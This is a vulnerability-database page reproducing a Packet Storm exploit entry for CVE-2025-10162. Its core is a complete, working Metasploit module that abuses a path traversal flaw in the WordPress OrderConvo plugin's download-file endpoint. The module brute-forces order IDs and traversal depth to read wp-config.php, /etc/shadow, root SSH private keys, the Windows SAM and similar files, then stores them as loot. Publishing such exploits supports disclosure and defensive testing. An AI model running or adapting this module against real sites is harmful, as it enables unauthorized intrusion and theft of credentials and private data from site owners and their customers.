Lucene search
K

📄 WordPress OrderConvo 13.5 Path Traversal / File Read

🗓️ 18 Jun 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 24 Views

Exploits path traversal in WordPress OrderConvo plugin before version 14 to read files via download file endpoint.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2025-10162
30 May 202622:15
githubexploit
Circl
CVE-2025-10162
4 May 202603:43
circl
CNNVD
WordPress plugin OrderConvo 安全漏洞
7 Oct 202500:00
cnnvd
CVE
CVE-2025-10162
7 Oct 202506:00
cve
Cvelist
CVE-2025-10162 OrderConvo < 14 - Unauthenticated Arbitrary File Read
7 Oct 202506:00
cvelist
Exploit DB
WordPress OrderConvo 14 - Path Traversal
1 Jun 202600:00
exploitdb
EUVD
EUVD-2025-32606
7 Oct 202506:00
euvd
Nuclei
WordPress OrderConvo < 14 - Path Traversal
21 Jun 202603:03
nuclei
NVD
CVE-2025-10162
7 Oct 202506:15
nvd
Packet Storm
📄 WordPress OrderConvo 13.5 Path Traversal
2 Jun 202600:00
packetstorm
Rows per page
==================================================================================================================================
    | # Title     : WordPress OrderConvo 13.5 Plugin Path Traversal File Read Metasploit Module Vulnerability                        |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://wordpress.org/plugins/admin-and-client-message-after-order-for-woocommerce/                              |
    ==================================================================================================================================
    
    [+] Summary    :   This Metasploit auxiliary module exploits a path traversal vulnerability in the WordPress OrderConvo plugin for WooCommerce (versions prior to 14).
    
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Auxiliary::Report
      include Msf::Exploit::Remote::HTTP::Wordpress
      include Msf::Auxiliary::Scanner
    
      def initialize(info = {})
        super(update_info(info,
          'Name'           => 'WordPress OrderConvo Plugin Path Traversal',
          'Description'    => %q{
            This module exploits a path traversal vulnerability in WordPress OrderConvo plugin
            (versions prior to 14) for WooCommerce. The vulnerability exists in the
            download-file endpoint which fails to properly sanitize the 'filename' parameter,
            allowing attackers to read arbitrary files from the server.
    
            The module supports multiple operating systems including:
            - Linux/Unix systems (including WordPress files)
            - Windows systems
            - BSD systems
            - MacOS
            - Docker containers
            
            Successfully tested on WordPress with OrderConvo plugin version 13.5.
          },
          'Author'         => ['indoushka'],
          'License'        => MSF_LICENSE,
          'References'     => [
            ['CVE', '2025-10162'],
            ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2025-10162'],
            ['URL', 'https://www.najeebmedia.com/'],
            ['URL', 'https://wordpress.org/plugins/admin-and-client-message-after-order-for-woocommerce/']
          ],
          'DisclosureDate' => '2026-05-31',
          'Notes'          => {
            'Stability'   => [CRASH_SAFE],
            'Reliability' => [REPEATABLE_SESSION],
            'SideEffects' => [IOC_IN_LOGS]
          }
        ))
        register_options([
          OptString.new('FILE', [false, 'File to read (use traversal sequences)', nil]),
          OptInt.new('ORDER_ID', [false, 'Order ID to use (default: 1-5 brute force)', 1]),
          OptBool.new('BRUTE_ORDER', [true, 'Brute force order IDs if default fails', true]),
          OptEnum.new('OS_TYPE', [false, 'Target operating system (auto-detected if not specified)', 'auto', 
            ['auto', 'linux', 'windows', 'bsd', 'macos', 'docker']]),
          OptEnum.new('FILE_TYPE', [true, 'Type of file to read', 'wordpress_config', 
            ['wordpress_config', 'system_passwd', 'system_hosts', 'web_config', 'database_config', 'custom']])
        ])
        register_advanced_options([
          OptInt.new('MAX_ORDER_ID', [true, 'Maximum order ID to brute force', 30]),
          OptString.new('TRAVERSAL_DEPTH', [true, 'Path traversal base depth', '../../../../']),
          OptInt.new('MAX_TRAVERSAL_DEPTH', [true, 'Maximum traversal depth to try', 15]),
          OptBool.new('AUTO_DETECT_OS', [true, 'Automatically detect OS from response', true]),
          OptString.new('CUSTOM_FILE_PATH', [false, 'Custom file path (when FILE_TYPE is custom)', nil])
        ])
      end
      def get_file_paths(os_type, file_type)
        paths = {
          'linux' => {
            'wordpress_config' => 'wp-config.php',
            'system_passwd' => 'etc/passwd',
            'system_hosts' => 'etc/hosts',
            'web_config' => 'etc/apache2/apache2.conf',
            'database_config' => 'etc/mysql/my.cnf',
            'system_shadow' => 'etc/shadow',
            'ssh_keys' => 'root/.ssh/id_rsa',
            'bash_history' => 'root/.bash_history',
            'access_logs' => 'var/log/apache2/access.log',
            'error_logs' => 'var/log/apache2/error.log'
          },
          'windows' => {
            'wordpress_config' => 'wp-config.php',
            'system_passwd' => 'Windows/System32/config/SAM',
            'system_hosts' => 'Windows/System32/drivers/etc/hosts',
            'web_config' => 'Windows/System32/inetsrv/config/applicationHost.config',
            'database_config' => 'Program Files/MySQL/MySQL Server/my.ini',
            'win_ini' => 'Windows/win.ini',
            'boot_ini' => 'boot.ini',
            'iis_logs' => 'inetpub/logs/LogFiles/W3SVC1/',
            'php_ini' => 'PHP/php.ini'
          },
          'bsd' => {
            'wordpress_config' => 'wp-config.php',
            'system_passwd' => 'etc/master.passwd',
            'system_hosts' => 'etc/hosts',
            'web_config' => 'usr/local/etc/apache24/httpd.conf',
            'database_config' => 'var/db/mysql/my.cnf'
          },
          'macos' => {
            'wordpress_config' => 'wp-config.php',
            'system_passwd' => 'etc/master.passwd',
            'system_hosts' => 'etc/hosts',
            'web_config' => 'etc/apache2/httpd.conf',
            'database_config' => 'usr/local/etc/my.cnf'
          },
          'docker' => {
            'wordpress_config' => 'wp-config.php',
            'system_passwd' => 'etc/passwd',
            'system_hosts' => 'etc/hosts',
            'docker_config' => 'etc/docker/daemon.json',
            'docker_env' => '.dockerenv'
          }
        }
        paths[os_type][file_type] || paths[os_type]['wordpress_config']
      end
      def detect_operating_system
        print_status("Attempting to detect target operating system...")
        test_files = {
          'linux' => 'etc/passwd',
          'windows' => 'Windows/win.ini',
          'bsd' => 'etc/master.passwd',
          'docker' => '.dockerenv'
        }
        test_order_ids = [1, 2, 3, 5, 10, 15, 20]
        test_files.each do |os, test_file|
          test_order_ids.each do |order_id|
            traversal = '../../../../' * 4
            filename = "#{traversal}#{test_file}"
            
            vuln_url = normalize_uri(target_uri.path, "wp-json/wooconvo/v1/download-file")
            payload = {
              'order_id' => order_id,
              'filename' => filename
            }
            begin
              res = send_request_cgi({
                'method' => 'GET',
                'uri' => vuln_url,
                'vars_get' => payload
              }, timeout = 5)
              if res && res.code == 200 && !res.body.empty?
                if os == 'windows' && (res.body.include?('[fonts]') || res.body.include?('[extensions]'))
                  print_good("Detected Windows OS based on win.ini content")
                  return 'windows'
                elsif os == 'linux' && (res.body.include?('root:') && res.body.include?('daemon:'))
                  print_good("Detected Linux/Unix OS based on passwd content")
                  return 'linux'
                elsif os == 'bsd' && (res.body.include?('root:') && res.body.include?('$2b$'))
                  print_good("Detected BSD OS based on master.passwd format")
                  return 'bsd'
                elsif os == 'docker' && (res.body.include?('docker') || res.body.length < 100)
                  print_good("Detected Docker container environment")
                  return 'docker'
                end
              end
            rescue ::Rex::ConnectionError
              next
            rescue
              next
            end
          end
        end
        print_status("Could not detect OS, defaulting to Linux")
        return 'linux'
      end
      def try_traversal_depth(base_url, order_id, file_path)
        (1..datastore['MAX_TRAVERSAL_DEPTH']).each do |depth|
          traversal = '../' * depth
          filename = "#{traversal}#{file_path}"
          vuln_url = normalize_uri(base_url, "wp-json/wooconvo/v1/download-file")
          payload = {
            'order_id' => order_id,
            'filename' => filename
          }
          
          begin
            res = send_request_cgi({
              'method' => 'GET',
              'uri' => vuln_url,
              'vars_get' => payload
            }, timeout = 10)
            if res && res.code == 200 && !res.body.empty?
              unless res.body.include?('error') || res.body.include?('failed') || 
                     res.body.include?('No such file') || res.body.include?('not found')
                print_good("Found working traversal depth: #{depth} (#{'../' * depth})")
                return filename, res.body
              end
            end
          rescue ::Rex::ConnectionError
            next
          rescue
            next
          end
        end
        return nil, nil
      end
      def run_host(ip)
        os_type = datastore['OS_TYPE']
        if os_type == 'auto' && datastore['AUTO_DETECT_OS']
          os_type = detect_operating_system
          print_status("Target OS detected as: #{os_type.upcase}")
        elsif os_type == 'auto'
          os_type = 'linux'
          print_status("Using default OS: Linux")
        else
          print_status("Using specified OS: #{os_type.upcase}")
        end
        file_to_read = nil
        if datastore['FILE_TYPE'] == 'custom'
          file_to_read = datastore['CUSTOM_FILE_PATH']
          if file_to_read.nil? || file_to_read.empty?
            print_error("CUSTOM_FILE_PATH must be set when FILE_TYPE is custom")
            return
          end
        elsif datastore['FILE']
          file_to_read = datastore['FILE']
        else
          file_to_read = get_file_paths(os_type, datastore['FILE_TYPE'])
        end
        print_status("Target file: #{file_to_read}")
        print_status("OS Type: #{os_type.upcase}")
        order_ids = []
        if datastore['BRUTE_ORDER']
          print_status("Brute forcing order IDs from 1 to #{datastore['MAX_ORDER_ID']}")
          order_ids = (1..datastore['MAX_ORDER_ID']).to_a
        else
          order_ids = [datastore['ORDER_ID']]
        end
        order_ids.each do |order_id|
          print_status("Trying order_id=#{order_id}")
          filename, content = try_traversal_depth(target_uri.path, order_id, file_to_read)
          if content && !content.empty?
            print_good("Successfully read file with order_id=#{order_id}")
            print_good("Traversal sequence used: #{filename}")
            print_line("\n" + "="*60)
            print_line("FILE CONTENT (#{file_to_read}):")
            print_line("="*60)
            if content.length > 5000
              print_line(content[0..5000])
              print_line("\n... [Output truncated, showing first 5000 characters] ...")
              print_line("Full content saved to loot")
            else
              print_line(content)
            end
            print_line("="*60 + "\n")
            safe_filename = file_to_read.gsub(/[\/\\]/, '_')
            path = store_loot(
              "wordpress.orderconvo.#{os_type}.file",
              'text/plain',
              rhost,
              content,
              "#{os_type}_#{safe_filename}",
              "File read from vulnerable OrderConvo plugin on #{os_type} system"
            )
            print_good("File saved to: #{path}")
            report_vuln({
              :host => rhost,
              :port => rport,
              :name => self.name,
              :refs => self.references,
              :info => "Path traversal vulnerability in OrderConvo plugin allows arbitrary file reading on #{os_type} system"
            })
            
            return
          end
        end
        
        print_error("Could not read file with any tested order ID or traversal depth")
        print_error("Try increasing MAX_ORDER_ID or MAX_TRAVERSAL_DEPTH")
      end
    end
    	
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Jun 2026 00:00Current
5.5Medium risk
Vulners AI Score5.5
CVSS 3.17.5
EPSS0.03656
SSVC
24